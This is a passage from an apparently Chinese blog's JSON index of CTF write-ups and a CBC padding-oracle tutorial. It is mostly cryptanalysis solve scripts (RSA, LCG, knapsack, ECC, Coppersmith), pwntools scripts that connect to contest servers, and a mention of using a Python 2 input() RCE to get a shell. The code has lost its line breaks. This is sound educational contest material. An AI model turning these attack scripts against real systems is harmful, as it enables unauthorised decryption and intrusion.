f"({self.x}, {self.y})" def __add__(self, other: 'Point') -> 'Point': # 椭圆曲线的点加法 x, y = self.x, self.y w, z = other.x, other.y a, p = self.curve.a, self.curve.p nx = (x*w - a*y*z) % p ny = (x*z + y*w) % p return Point(self.curve, nx, ny) def __mul__(self, n: int) -> 'Point': # 椭圆曲线数乘 assert n > 0 Q = Point(self.curve, 1, 0) while n > 0: if n & 1 == 1: Q += self self += self n = n//2 return Q def __eq__(self, other: 'Point') -> bool: # 判断点是否相等 return self.x == other.x and self.y == other.ya, p = 376014, (1 << 521) - 1F.<i> = GF(p ^ 2, modulus=x ^ 2 + a)gx = 0x1bcfc82fca1e29598bd932fc4b8c573265e055795ba7d68ca3985a78bb57237b9ca042ab545a66b352655a10b4f60785ba308b060d9b7df2a651ca94eeb63b86fdbgy = 0xca00d73e3d1570e6c63b506520c4fcc0151130a7f655b0d15ae3227423f304e1f7ffa73198f306d67a24c142b23f72adac5f166da5df68b669bbfda9fb4ef15f8eax, ay = 2138196312148079184382240325330500803425686967483863166176111074666553873369606997586883533252879522314508512610120185663459330505669976143538280185135503158,1350098408534349199229781714086607605984656432458083815306756044307591092126215092360795039519565477039721903019874871683998662788499599535946383133093677646bx, by = 4568773897927114993549462717422746966489956811871132275386853917467440322628373530720948282919382453518184702625364310911519327021756484938266990998628406420,3649097172525610846241260554130988388479998230434661435854337888813320693155483292808012277418005770847521067027991154263171652473498536483631820529350606213ct = b"q\\xfa\\xf2\\xe5\\xe3\\xba.H\\xa5\\x07az\\xc0;\\xc4%\\xdf\\xfe\\xa0MI>o8\\x96M\\xb0\\xfe]\\xb2\\xfdi\\x8e\\x9e\\xea\\x9f\\xca\\x98\\xf9\\x95\\xe6&\\x1fB\\xd5\\x0b\\xf2\\xeb\\xac\\x18\\x82\\xdcu\\xd5\\xd5\\x8e<\\xb3\\xe4\\x85e\\xddX\\xca0;\\xe2G\\xef7\\\\uM\\x8d0A\\xde+\\x9fu"def phi(x,y): return x+y*idef decrypt(shared: Point, ct: bytes) -> bytes: iv, ct = ct[:16], ct[16:] key = sha1(str(shared).encode()).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct) return unpad(pt, 16)aa = phi(ax, ay).log(phi(gx, gy))curve = Ellipse(a, p)B = Point(curve, int(bx), int(by))shared = B * int(aa)print(decrypt(shared, ct))# b'SEE{W4it_whaT_do_y0u_meaN_Ecc_d0esnt_Us3_e1Lipses}'","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"SEECTF2022","slug":"赛事/SEECTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SEECTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}]},{"title":"Dest0g3 520迎新赛&ctfshow dsb","slug":"Dest0g3-520迎新赛-ctfshow-dsb","date":"2022-06-02T13:07:23.000Z","updated":"2022-06-06T14:07:24.000Z","comments":true,"path":"2022/06/02/Dest0g3-520迎新赛-ctfshow-dsb/","link":"","permalink":"http://example.com/2022/06/02/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B-ctfshow-dsb/","excerpt":"​ 自己的编程能力确实偏弱,趁着实训学学golang和算法。这是之前做的题。","text":"​ 自己的编程能力确实偏弱,趁着实训学学golang和算法。这是之前做的题。 ezStream在普通LCG上变异,在获得nextnumber的时候进行移位操作。 1234567891011121314151617181920212223242526272829303132333435363738394041from gmpy2 import invertfrom Crypto.Util.number import *a = 3939333498b = 3662432446m = 2271373817state1 = 17362state2 = 20624c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878state1_ = state1 << 16def next(seed): seed_new = (a * seed + b) % m return seed_new >> 16,seed_new# 爆破低16位得到可能的state1的真实值# for i in range(2**16):# t = state1_ + i# if (a * t + b) % m >> 16 == state2:# print(t)t_list = [1137839988,1137855425,1137870862]# 求出可能的seedfor i in t_list: seed = (i - b) * invert(a,m)%m print(seed)seed_list = [1315807869,710396196,104984523]c_bytes = long_to_bytes(c)print(len(c_bytes))key_list = []seed = 104984523for i in range(47): key,seed = next(seed) key_list.append(key%10)for i in range(45): print(chr(key_list[i+2]^c_bytes[i]),end='')# 这道题并不需要求seed,拿到t_list之后递推就可以了 Mr.Doctor看到别的师傅解法用了copper,我这里是直接解同余方程求seed。后边爆破hash时间复杂度太高,所以先把hash值求出来存在字典里再进行遍历9次计算。这是用空间换时间的做法。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from Crypto.Util.number import *from binascii import *import stringfrom hashlib import *table = string.ascii_lowercase+string.digits+string.ascii_uppercase +'_@^&!?+-*'print(table)a = 956366446278r = 1061992537343b = 636205571590d = 18068433704538283397c = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084Ash = 1097363493609113SliverAsh = 2051431344160327for i in range(2**12): # 注意移加法优先于移位操作... t = (Ash << 12) + i if (a * t**2 + r * t + b) % d >> 12 == SliverAsh: print(t)next1 = 4494800869822930172# sage# m = 18068433704538283397# R.<p> = Zmod(m)[]# a = 956366446278# r = 1061992537343# b = 636205571590# next1 = 4494800869822930172# f = a*p^2 + r*p + b - Ash# f.roots()seed = 626844643882def next(s): s_new = (a*s**2 + r*s + b)%d return s_new >> 12 , s_newc_bytes = long_to_bytes(c)print(len(c_bytes))key_list = []s = seedfor i in range(11): key,s = next(s) key_list.append(key%100)sha_list = []for i in range(9): j = long_to_bytes(key_list[i + 2] ^ (seed**3)) print(j) jj = b2a_hex(j).decode('ascii') print(jj)tmp = []for i in range(9): tmp.append(bytes_to_long(c_bytes[15*i:15*i+15])^key_list[i+2])hash_list = {}seeds = seed**3for i in table: for j in table: for m in table: for n in table: hash_list.update({bytes_to_long(sha256((i + j + m + n).encode()).hexdigest().encode()) % seeds : i+j+m+n})for p in range(9): for i in hash_list: if i == tmp[p]: print(hash_list[i],end='') # Dest0g3{d2a4d1af-8a80-8794-99ac-635f89494cac} Bag背包加密,这里做了一些变异,思路就是先用模运算求出真实的S序列,再用普通背包解密算法。 1234567891011121314151617181920212223242526272829303132333435363738394041from gmpy2 import invertfrom Crypto.Util.number import *def decode(n,S,r): l = [] for i in range(286): l.append('0') for i in range(n, 0, -1): if S >= r[i]: S -= r[i] l[i-1] = '1' #print(l) print(r[i]) return ''.join(l)m=372992427307339981616536686110115630075342113098010788080347982669869622759400031649792w=274062421102700155372289583695782343443h=m.bit_length()j=int(h//2)print(j)Bag=[...]e = sk[2]f = sk[3]d = invert(w,m)# e=gmpy2.next_prime(sum(V))+2# f=gmpy2.next_prime(sum(U))# Vi的和是小于e的,Ui的和是小于f的S_low = (c * invert(f,e)) % eS = (S_low + (c * invert(e,f)) %f * 2**j) * d % mflag = decode(286,S,Bag)[::-1] # 注意要倒序print(flag)print(len(flag))print(long_to_bytes(int(flag,2)))# Dest0g3{5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb} ctfshowdsb-TooYoungRSA春哥的题质量确实不戳。首先是求n的方法: 第一次提交m,得c1=m^e\\mod n 第二次提交m^2,得c2=m^e\\mod n利用c2-c1,就能得到一个关于n的多项式。 同理再对不同的m做一次这样的操作,得到另一个多项式;然后gcd求出n。n比较小可分解为pq。 求e: cp = 3660902843315450019,通过cp和p在群上求离散对数e1234G =GF(14129883229625683549)g = G(9)h = G(3660902843315450019)print(discrete_log(h,g)) 完整exp: 12345678910111213141516171819202122232425262728from hashlib import *from gmpy2 import *from Crypto.Util.number import *from Crypto.Cipher import AESc1 = [218317653878226290959562768676110488122,217554978178747863351384784206111663308]c2 = [175923870763460273019767769376686022660,45459644707418729830733907632443475707]n = gcd(c1[0]**2 - c2[0],c1[1]**2 - c2[1])print(n)p = 14129883229625683549q = n // pphi = (p-1)*(q-1)cp = c1[0] % p# cp = 3660902843315450019# 通过cp和p在群上求离散对数ee = 1043311ck = 57106634108800010078279971407683538766d = invert(e,phi)k = pow(ck,d,n)key = sha256(str(k).encode()).digest()cipher = AES.new(key, AES.MODE_ECB)flag = cipher.decrypt(long_to_bytes(0x499d097315136877de8010dbda1e2da14b1079e79bd783f0ebbc48bcf7eedc0599deb16c455e71d82a02b7db52e748ab))print(flag)# ctfshow{70004b8b-ee57-418e-ab44-69c69a1fa347}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"Dest0g3 520迎新赛&ctfshow dsb","slug":"赛事/Dest0g3-520迎新赛-ctfshow-dsb","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B-ctfshow-dsb/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"OPPO杯SCUCTF2022","slug":"OPPO杯SCUCTF2022","date":"2022-05-25T06:09:15.000Z","updated":"2022-05-25T06:13:14.000Z","comments":true,"path":"2022/05/25/OPPO杯SCUCTF2022/","link":"","permalink":"http://example.com/2022/05/25/OPPO%E6%9D%AFSCUCTF2022/","excerpt":"​ OPPO赞助的校赛,遗憾没拿到第一名,第一名貌似是研究生学长,tql膜了。","text":"​ OPPO赞助的校赛,遗憾没拿到第一名,第一名貌似是研究生学长,tql膜了。 Misc窗外的山image.jpg看起来像是手机拍的照片,所以尝试用EXIF查看相关信息: 拿经纬度到google地图上去定位,发现就在彭州周围。根据‘绵延’的特征筛选了一下,猜测是九峰山脉。遂百度:https://chengdu.cncn.com/jingdian/jiufengshan/profile 再根据实景地图排除了几个,剩下天牙峰,长年峰,龙峰。一个个尝试直到正确提交flag。 Never Gonna Give Misc Up又是这首歌QWQ。题目用歌词把类似于伪代码的描述混淆起来,刚开始以为是非常复杂的加密操作,还一句句分析。后来仔细想想貌似也就给了个key,给了个异或,解base64之后明文长度是44。key长度是23,于是直接把key*2和base64明文进行一波异或,就出了。 1234567891011121314151617import sysimport base64key = 'Never Gonna Give You Up'*2print(len(key))# gonna encrypt rickareYouRoll = 0astleyCounter = 0# astleyCounter = len(rick)s = 'PQYDBgZGPFpfC1RFcA0VSBNrX0wNYRJ5XVsERkMlQg0LWBV0WhAHRmgORV0='rick = base64.b64decode(s)print(len(rick))for i in range(44): print(chr(rick[i]^ord(key[i])),end='') #scuctf{51e5e7dc-3209-4b78-a4cb-ce9533fbf1a0} Unbroken RSA这题确实是misc,和crypto没啥关系。这里的RSA没啥毛病,无法攻击。看到hint说task.py就是服务端的运行的文件,那么关键点就在于task.py是python2,而python2存在一个input rce,可参考: https://www.heetian.com/info/912https://hxp.io/blog/72/DEFCON-CTF-Quals-2020-notbefoooled/ 所以这里我们尝试连接之后getshell,再cat flag: CryptoRingSA把n转换到2^32下的多项式形式就能分解,可参考:https://ctftime.org/writeup/22977 exp: 1234567891011121314151617from sage.all import *from Crypto.Util.number import long_to_bytes, bytes_to_longflag = 87999482691830361247379297209239721526607759448870428543627708497225133998703525964882194413117149312447160453725061579823628178880528029445n = 1626425208406583241292049076444714722533257035525114741592324091711725209911065562839042915374809556761672902667823144189049661717920928907519e = 65537c = 87999482691830361247379297209239721526607759448870428543627708497225133998703525964882194413117149312447160453725061579823628178880528029445poly = sum(j * x^i for i,j in enumerate(Integer(n).digits(2^32)))(p, _), (q, _) = poly.factor_list()p, q = p(x=2^32), q(x=2^32)assert p*q == nd = inverse_mod(e, (p-1)*(q-1))print(d)print(long_to_bytes(int(pow(int(flag), int(d), int(n)))))#flag{a2d3nf68de69-f1a33h6i25ka2s-d75a4skj54cz-1pz215cz7je} 无e烦没给e也不需要e,用M来构造m即可用C来表示c,M是经过设计的应该不是随机的。构造的时候需要把M中的元素和m同时分解,对照基数进行组合。 1234567891011121314import gmpy2from hashlib import md5from Crypto.Util.number import *m1 = 27869827573821748315559900687594988919M = [5579, 598603829, 260990180, 1021754, 776307182737258, 1024275153677530399, 4600527292991, 122745486818718559362816, 648394777237946314, 967584531487748385405909929860]n = 80866130102261518785138247492226418988283622967107642931626670770991287290017575544856640708656070056599413982921939820092653964250560158534164684509508570827031257145358915936716873579275999289598802214938312512124960829274763697183422853018643009337211154573323694306354847681849997475073748060554116885743c = [31144948752006156956371408281561352243079201486174266637408555124157021185950319222361922834637592274602797401823142568566421878331058293593226929896870037754087323313283303137533025781672293482174192932461883863211124310703337677122102074722437833121327084819887896193852163626471460810662932603076534660804, 58749052925641223456561705208530964408557935651157882734266347388456853409033384416852410757712668576320121029921896159470323217774586441972199278374439949270876469606930228396601576234668190157650922636135501186357625172032576738756614273367295339284973641828226470658939082400779599258757898885883644801053, 40579637913832144242682484264514378732436426402443803846093953264515971181103912187778246987360607324323099933248625621555519103040756905979660584142448386505386901820391693230451974101594790778026848209779850319523275751832867671987115959904668387865788935422538240044475848660391245453237006973560308165704, 15835925903597045972140032459728544439513422823860173109658290670683594043875129538306223165929079184397089052592444654067130249396164980960356271754915481618011410536765933171454501338047351306704434512914546553962486447770536415910399995606608613315118790692706536805083836633281529931209281637891318353741, 4151494489564600318094655116793301906740457645167301450751640199360784554254420449223484211520605752417331051052221881536558310384015644237944026227453976543115190245641063933315808492207164476079528582238760181801532524373077098185522630038060400419605143520089304061730233240190827575204697167386552820873, 46450004515612124682062326769786875920262836498726465653281013385901400386040827258028783122454588622468817101329068510845265192227085655559383112363438579993120259202146869556553612006784560362028894578429513744992720306276354566189337126874210742595318199174149347871156773709876660547468111493256985790264, 5293675028656705650831635378836383447792200771454173820886211319500431128744638963226815998459995451887706586775256373154495638727831792733331349999470387188688842268193444623645723157924374339534474296911972302241786675561240710375985864649928838541714831703346767850719207370350131520678912020234750273930, 30043574658200438024547973628567719018751546081493990329929735757336474377209161041596827306653602292215720621453139092179169784224079738652396993819458373985141265627934492408720528950069791313892499982826159264170102770059863789006549726625129186587016838115681900755406881891907749234407979155358030945914, 49664459429620491137496885409272085607758468537571273414043041753461839754010622955053495314196284424560133883998315943659743474201365515603408943978523525179827702636431575706855973368124936003475671990897616340108065511459270017655645179716434335969764382936670154226518119191587925302403315274959019503422, 72335423827835340317296400031661018813932187781068379309839710979890568519179106231620831225764055797117609283378510499491626336945698456043068123495971189674660151501766805123602763163842302478047056395083249502992176542543200848695685618337947070448376674020551810665597616550148876318339506522538505673458]# 验证print(M[0]*gmpy2.invert(M[1],n)*gmpy2.invert(M[3],n) *M[5]*M[6]*M[8]%n == m1)# 求解m=c[0]*gmpy2.invert(c[1],n)*gmpy2.invert(c[3],n)*c[5]*c[6]*c[8]%nprint("SCUCTF{"+md5(str(m).encode()).hexdigest()+"}")# SCUCTF{0bc5e3a135bc252623bb4a391c886c08} just_mathproof部分的思路是找一个Carmichael数多次进行连接请求,会有较小概率通过1000次测试,发现因子较大的Carmichael数比较容易通过检验。找到的效果最好的是82929001,因子为281。proof勉强能够通过(大概几分钟的样子),当然,也可以多开几个终端跑。 后面一部分就是利用佩尔方程解: (2n+1)^2 -3*t^2==3参考:https://zhuanlan.zhihu.com/p/365860557 exp: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556import mathfrom pwn import *from gmpy2 import *from sage.all import *# 29111881(211# 82929001(281# sagedef solve_pell (N , numTry = 1000): # 展开一千项 sols = [] cf = continued_fraction ( sqrt ( N )) for i in range ( numTry ): denom = cf . denominator ( i ) numer = cf . numerator ( i ) if numer ^2 - N * denom ^2 == 1: sols.append((ZZ(numer) , ZZ(denom))) return solsdef attack(): while True: io = remote('43.155.90.127',10010) s1 = io.recvuntil(b':') #print(s1) io.sendline(b'82929001') j = io.recvline() if b'next' in j: print(j) break io.recvuntil(b'square') sols = solve_pell(6)[7:17] for i in range(10): x = 3 * sols[i][0] + 6 * sols[i][1] if x % 2 == 1: io.send(str((x-1)//2)) print(io.recv(2000))# 这里的解都是大于82929001的# 125608561# 1243396573# 12308357173# 121840175161# 1206093394441# 11939093769253# 118184844298093# 1169909349211681# 11580908647818721# 114639177128975533if __name__ == '__main__': attack()# scuctf{math_1s_4ttractive_hgczsasd_ksqwnad} 义神爱吃铜proof part: 1234567891011121314151617181920212223242526272829from string import *from pwn import *from hashlib import *table = ascii_letters+digitsio = remote('43.155.90.127',10020)s = io.recvuntil(b'XXXX :')print(s)s1 = s.find(b"XXXX+")s2 = s.find(b")")l = s[s1+5:s2]print(l)s3 = s.find(b'==')U = str(s[s3+3:s3+67])[2:-1]print(U)for i in table: for j in table: for m in table: for n in table: X = bytes(i + j + m + n, encoding="utf-8") if sha256((X + l)).hexdigest() == U: print(X) io.sendline(X) io.interactive() # 没有time限制,可以直接转成交互模式 copper部分用了个crt: g\\equiv xmodp g\\equiv y modq所以,g-x=k1p,g-y=k2q 又知道n的高位,所以只需要构造一个modnn(kp*kq)的多项式用copper梭: n1+x \\equiv 0 mod(k1p*k2q)解出之后和k1p,k2q做gcd得到p和q,后边就是正常解密过程。 1234567891011121314151617181920from sage.all import *import gmpy2x,y,g=0x793eca80acd6a34af098a9ef306a81c3ffedfe3e4ed83a3b2247c52f7be1f3779c5ecb4b093cff06ef1ec708bcc71a6cde200aaec6544db8d67f2d81e5533f17, 0x9ae4a2bc2a3df151d4eeab51d2d2de4b7a38b54aea3b73719f3557389bf26b868b2dc3255f960e24151ae439a35bd61c9cc497de1c9a4e7d7f74bfb4d8e82d4b, 0x60eed8bf1ecc808b3d51c6425c4a9fbc05c6916b29cee32129df17bbfcff6b026bf581b03c309ee363b99a8b292b4a4d1390050a32059dc697ef8800fd96b2f0eb048c7508414fd28881337be577bd0f05a32339e40267341d206ed875c68e3906b7f597aab49bcc536c8d2454162dc1356bcb326706df484b334f3f66c340aakp=g-xkq=g-ynn=kp*kqn_=0x926ae1d6106b5e751544614c037d2323dedc572fb40b455c249640ffbe63aa660283e0c5a661a973ca169599ca5a1719cc6ffb648561d4aec3bc22bd9557bc2c7e26085cdfbb56ddc88ad58babc30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000PR.<x>=PolynomialRing(Zmod(nn))f=n_+xroot=f.small_roots(X=2^400,beta=0.45)n=n_+int(root[0])p=gmpy2.gcd(kp,n)q=gmpy2.gcd(kq,n)phi=(p-1)*(q-1)e=65537d=gmpy2.invert(e,phi)c=0x77ddf54606a30fd9360f516ad600a95a365c322612ab620f186a5c2956029500d8481c0391f8e97aba3481ac5bc85afae9be3cf971c1a3f1ab880d5dde4bf8b3fa4a05fa95c3c39c57bf1762a2ae3f0868c74656b6d68a7a7231c20ed17cd8f64532fcf4f68e353d04fd2d1ac27329e829681c44ac510cafc5bcd3edfb32addbm=hex(pow(c,d,n))[2:]print(bytes.fromhex(m)) eccop思路在代码注释里。 123456789101112131415161718192021222324252627282930313233343536373839# sage 椭圆曲线本身就是一个多项式,利用一元copper可恢复xp = 93556643250795678718734474880013829509320385402690660619699653921022012489089a = 66001598144012865876674115570268990806314506711104521036747533612798434904785b = 25255205054024371783896605039267101837972419055969636393425590261926131199030Zp = GF(p)E = EllipticCurve(Zp, [1, 0, 0, a, b])x,y=(1972225925711091012803863748535364155322813016048057253053648845117,2207546999484766654073894682641966221457667743364803779409621791076841301682)x=x<<32PR.<t>=PolynomialRing(Zmod(p))f=(x+t)^3+a*(x+t)+b-y^2-y*(x+t)root=f.small_roots(T=2^32,beta=1,epsilon=0.04)x=x+int(root[0])# 这里发现阶是部分光滑的,需要去除最大的两因子用p-h解,由于用来解离散对数的是小阶群,所以得到的是k模这个阶的余数Q=E(x,y)G=E(65601233721734480834214104242726402608050706178263282965281571500512937864868,89733492606578358712798671846709058421091702135878272152459729920322086520227)primes = [8, 17, 31, 547, 19973, 36457, 44129, 3299267,15658671577]ordd=E.order()print(ordd)logs=[]for fac in primes: t=int(ordd)//int(fac) print('ok') log=discrete_log(t*Q,t*G,operation='+') print(log) logs+=[log]print(crt(logs,primes))# 根据k的长度爆破from Crypto.Util.number import *from tqdm import tqdmn=3828323447966507442387008585400282392print(n.bit_length())mm=2328935992939051457609738343364339349print(mm.bit_length())for i in tqdm(range(2**20,2**21)): s=i*n+mm check=long_to_bytes(s) if b'scuctf' in check or b'SCUCTF' in check: print(check)# b'SCUCTF{po_he1lm4n}'","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"SCUCTF2022","slug":"赛事/SCUCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SCUCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"CBC Padding Oracle","slug":"CBC-Padding-Oracle","date":"2022-05-19T02:52:20.000Z","updated":"2022-05-19T12:15:46.000Z","comments":true,"path":"2022/05/19/CBC-Padding-Oracle/","link":"","permalink":"http://example.com/2022/05/19/CBC-Padding-Oracle/","excerpt":"​ 攻击场景:对称密码采用PKCS5或PKCS7 padding,存在接口可以为攻击者提供多次解密。 ​ 攻击原理:由于PKCS5和PKCS7的填充规则,每次解密以后通过检验填充部分的内容来确定解密是否正确,即key是否正确。遍历可能的key进行解密和验证,确定正确的key。 ​ 危害程度:出现过相关的CVE,高危。","text":"​ 攻击场景:对称密码采用PKCS5或PKCS7 padding,存在接口可以为攻击者提供多次解密。 ​ 攻击原理:由于PKCS5和PKCS7的填充规则,每次解密以后通过检验填充部分的内容来确定解密是否正确,即key是否正确。遍历可能的key进行解密和验证,确定正确的key。 ​ 危害程度:出现过相关的CVE,高危。 ​ 例1.Xman 夏令营的一道题,给了AESCipher.py,lockfile.py和flag.encrypted三个文件 ​ AESCipher.py 123456789101112131415161718192021222324252627282930313233343536from Crypto import Randomfrom Crypto.Cipher import AESclass AESCipher(object): def __init__(self, key): self.bs = 32 self.key = key @staticmethod def str_to_bytes(data): u_type = type(b''.decode('utf8')) if isinstance(data, u_type): return data.encode('utf8') return data def _pad(self, s): return s + (self.bs - len(s) % self.bs ) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs)) @staticmethod def _unpad(s): return s[:-ord(s[len(s) - 1:])] def encrypt(self, raw): raw = self._pad(AESCipher.str_to_bytes(raw)) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return iv + cipher.encrypt(raw) def decrypt(self, enc): iv = enc[:AES.block_size] cipher = AES.new(self.key, AES.MODE_CBC, iv) return cipher.decrypt(enc[AES.block_size:]) ​ lockfile.py 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#!/usr/bin/env python3import sysimport hashlibfrom AESCipher import *class FileLocker(object): def __init__(self, keys): assert len(keys) == 4 self.keys = keys self.ciphers = [] for i in range(4): self.ciphers.append(AESCipher(keys[i])) def enc(self, plaintext): stage1 = self.ciphers[0].encrypt(plaintext) stage2 = self.ciphers[1].encrypt(stage1) stage3 = self.ciphers[2].encrypt(stage2) ciphertext = self.ciphers[3].encrypt(stage3) return ciphertext def dec(self, ciphertext): stage3 = AESCipher._unpad(self.ciphers[3].decrypt(ciphertext)) stage2 = AESCipher._unpad(self.ciphers[2].decrypt(stage3)) stage1 = AESCipher._unpad(self.ciphers[1].decrypt(stage2)) plaintext = AESCipher._unpad(self.ciphers[0].decrypt(stage1)) return plaintextif __name__ == "__main__": if len(sys.argv) != 3: # PASSWORD SHOULD BE Visible character print("Usage: ./lockfile.py plainfile password") exit() filename = sys.argv[1] plaintext = open(filename, "rb").read() password = sys.argv[2].encode('utf-8') assert len(password) == 8 i = len(password) / 4 keys = [ hashlib.sha256(password[0:i]).digest(), hashlib.sha256(password[i:2 * i]).digest(), hashlib.sha256(password[2 * i:3 * i]).digest(), hashlib.sha256(password[3 * i:4 * i]).digest(), ] s = FileLocker(keys) ciphertext = s.enc(plaintext) open(filename + ".encrypted", "w").write(ciphertext) ​ 可以看到加密程序对于 key 的处理很特别,八字符的 key 被分成了四组,每组两个字符哈希后作为 AES 密钥,把明文加密了四次。采用的是下一轮加密上一轮的密文这种形式。 ​ padding是PKCS5: 12def _pad(self, s): return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs)) ​ 直接爆破八个字符显然不可能,数量级是len(dict)^8,我们考虑把每步分解,如果四轮加密中,每一轮都能知道当前的两个字符是否正确,那么数量级就变成了4*(len(dict)^2),就能减少运算复杂度。而由于padding是PKCS5,是可以验证每轮解密是否正确的。check代码: 12345678def checkPadding(raw): s=raw[-1] if s==chr(0) or s==chr(1): return False if raw[len(raw)-ord(s):]==ord(s)*s: return True else: return False ​ 解密得到的明文最后字节是0的时候,key一定错误,因为没有填充0的用法;最后一位字符是1是有可能的,正好缺了一个字节,但只会发生在填充最原始的明文的时候,因为第二轮开始加密的都是上一轮的密文,都是 AES 分组大小的倍数,不可能差一个字节,而且爆破的过程中如果解密出来最后一个字节正好是 chr(1),就会认为填充正确,判断错误的几率还是很大的,所以代码里直接返回 False 更容易找到正确的明文。 ​ 完整exp: 1234567891011121314151617181920212223242526272829303132333435363738# -*- coding:utf-8 -*-import hashlibimport stringimport libnumfrom AESCipher import *def checkPadding(raw): s=raw[-1] if s==chr(0) or s==chr(1): return False if raw[len(raw)-ord(s):]==ord(s)*s: return True else: return Falseflag_enc=open("flag.encrypted").read()dict=[]for x in string.printable: for y in string.printable: dict.append(hashlib.sha256(x+y).digest())cipher=flag_encfor i in range(4): for key in dict: raw=AESCipher(key).decrypt(cipher) if checkPadding(raw): cipher=AESCipher._unpad(raw) breakflag=""i=0while i<len(cipher)-1: if cipher[i]=='1': flag+=chr(int(cipher[i:i+3])) i=i+3 else: flag+=chr(int(cipher[i:i+2])) i=i+2print flag ​ 上述题目是最简单的padding类型,解更复杂的题目则需要利用CBC模式特征,如例2 ​ 还有其他攻击场景,比如在不知道密钥的情况下,完成数据的加密,绕过服务端的校验(解密成功+明文有效),达到攻击的目的。 ​ 还有类似于例3这样的变式题;这是tjctf的一道题,padding方式虽然略有不同,但核心思想一致。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"对称密码","slug":"比赛/对称密码","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/"},{"name":"CBC Padding Oracle","slug":"比赛/对称密码/CBC-Padding-Oracle","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/CBC-Padding-Oracle/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"AES","slug":"AES","permalink":"http://example.com/tags/AES/"},{"name":"CBC","slug":"CBC","permalink":"http://example.com/tags/CBC/"},{"name":"padding","slug":"padding","permalink":"http://example.com/tags/padding/"}]},{"title":"TJCTF2022","slug":"TJCTF2022","date":"2022-05-18T13:38:23.000Z","updated":"2022-11-07T11:52:56.000Z","comments":true,"path":"2022/05/18/TJCTF2022/","link":"","permalink":"http://example.com/2022/05/18/TJCTF2022/","excerpt":"​ 我还是太菜了。","text":"​ 我还是太菜了。 Forensics感觉forensics是作为签到出的。 fake-geoguessrJS文件里,base64解码。 cool-schoolstegsolve不同通道查看。 spongebobo根据题意可知,图片高度修改过,于是把高改大能够看见flag。 sneaker-zipper直接用winrar解压的话,找不到flag。用unzip解压,可以看到这样一个文件: 把原始解压数据全部导出,用notepad打开能够看到flag tjctf{sneakers_with_zippers_are_hip_no?_874d174bb26fcf95} 出题人的脚本: 123456789from uuid import uuid4from zipfile import ZipFile, ZIP_DEFLATEDflag = open('flag.txt').read()with ZipFile('chall.zip', 'w') as zf: zf.writestr('flag/', flag, ZIP_DEFLATED) for _ in range(100): zf.writestr(f'flag/flag-{uuid4()}.txt', 'your flag is in another castle', ZIP_DEFLATED) Cryptorsa-apprentice最简单的rsa。 flimsy-fingered-latin-teacher或许算是键盘密码的一种?把每个字符换成键盘上对应的左边字符即可。 factor-master12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061#!/usr/local/bin/python -ufrom Crypto.Util.number import getPrime, isPrime, getRandomIntegerimport sys, randomprint("Are you truly the master here?")print()print("We'll have to find out...")print()def fail(): print("You are not the master!") sys.exit(1)def challenge1(): p = getPrime(44) q = getPrime(1024) n = p * q return [p, q], ndef challenge2(): p = getPrime(1024) q = p + getRandomInteger(524) if q % 2 == 0: q += 1 while not isPrime(q): q += 2 n = p * q return [p, q], ndef challenge3(): small_primes = [n for n in range(2,10000) if isPrime(n)] def gen_smooth(N): r = 2 while True: p = random.choice(small_primes) if (r * p).bit_length() > N: return r r *= p p = 1 while not isPrime(p): p = gen_smooth(1024) + 1 q = getPrime(1024) n = p * q return [p, q], nchallenges = [challenge1, challenge2, challenge3]responses = ["Okay, not bad.", "Nice job.", "Wow."]for i, chal in enumerate(challenges): print(f"CHALLENGE {i+1}") factors, n = chal() factors.sort() print(f"n = {n}") guess = input("factors = ? ") if guess != " ".join(map(str,factors)): fail() print(responses[i]) print()print("Here's your flag:")with open("flag.txt") as f: print(f.read().strip()) chall1用rho或者直接遍历试除,yafu即可。 chall2费马分解,很快。 123456789101112131415def fermat(num): x = iroot(num,2)[0] if x * x < num: x += 1 # y^2 = x^2 - num while (True): y2 = x * x - num y = iroot(y2,2)[0] if y * y == y2: break x += 1 #p q相差较大时遍历就很慢了 m = [int(x + y), int(x - y)] m.sort() return m chall3显然是Pollards_p_1,也很快。 1234567891011121314def 